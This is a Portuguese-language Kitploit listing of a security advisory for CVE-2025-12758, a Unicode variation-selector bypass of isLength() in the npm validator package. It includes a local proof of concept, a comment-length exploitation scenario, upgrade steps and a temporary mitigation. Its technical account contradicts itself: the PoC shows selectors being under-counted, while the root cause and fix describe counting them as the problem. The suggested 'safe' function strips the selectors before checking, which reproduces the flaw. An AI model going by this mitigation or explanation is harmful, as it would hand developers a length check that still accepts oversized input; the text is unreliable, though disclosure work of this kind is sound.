Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/open-flaw/cve-2025-12758
Análise de VulnerabilidadesAnálise de CódigoSegurança WebPapers e PesquisaAprendizado e Educação
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

Divulgação detalhada do CVE-2025-12758 com PoC demonstrando bypass de seletor de variação Unicode no isLength() do validator.js, incluindo análise de causa raiz, cenários de exploração e etapas de mitigação.

Ver Repositório
1há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-12758: Bypass do Seletor de Variação Unicode no isLength() do Validator.js

CVE ID: CVE-2025-12758
Pontuação CVSS: 8.7 (ALTA)
Severidade: ALTA
CWE: CWE-792 (Filtragem Incompleta de uma ou mais Instâncias de Elementos Especiais)
Publicado: 26 de novembro de 2025
Divulgado: 19 de outubro de 2025

Visão Geral da Vulnerabilidade

Esta vulnerabilidade afeta as versões < 13.15.22 do pacote validator do npm. A função isLength() não leva em consideração os seletores de variação Unicode (\uFE0F, \uFE0E) ao calcular o comprimento da string, resultando em validação de entrada inadequada.

Impacto

Uma aplicação que usa isLength() para validação de entrada pode aceitar strings significativamente maiores do que o pretendido, potencialmente resultando em:

  • Truncamento de dados em bancos de dados
  • Estouros de buffer em outros componentes do sistema
  • Ataques de negação de serviço (DoS)
  • Desvio de validação de entrada

Causa Raiz

A função isLength() não filtra adequadamente os seletores de variação Unicode ao calcular o comprimento da string. Esses caracteres especiais (marcas de combinação) não deveriam contribuir para o comprimento visual de uma string, mas são contados na propriedade String.length do JavaScript.

Prova de Conceito

Configuração

root@kitploit:~
npm install [email protected]
node poc.js

Código

O PoC demonstra a vulnerabilidade testando a função isLength():

root@kitploit:~
const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

Saída

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

A terceira saída demonstra a vulnerabilidade: uma string com comprimento real 8 passa em uma verificação de validação para comprimento máximo 4.

Cenário de Exploração

Uma aplicação pode implementar validação de comentários de usuário:

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

Correção

Atualize para a Versão 13.15.22 ou Superior

root@kitploit:~
npm install [email protected]

A versão corrigida lida adequadamente com os seletores de variação Unicode, excluindo-os dos cálculos de comprimento.

Mitigação Alternativa (Temporária)

Se você não puder atualizar imediatamente, implemente uma validação de comprimento personalizada:

root@kitploit:~
function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

Referências

  • Banco de Dados de Vulnerabilidades Snyk: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (Prova Original): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR (Correção): https://github.com/validatorjs/validator.js/pull/2616
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2025-12758

Detecção

Verifique se sua aplicação está vulnerável:

root@kitploit:~
npm audit --audit-level=high

Procure pelo pacote validator com a versão < 13.15.22.

Créditos

Vulnerabilidade descoberta por: Karol Wrótniak

Licença

ISC

Baixar ferramenta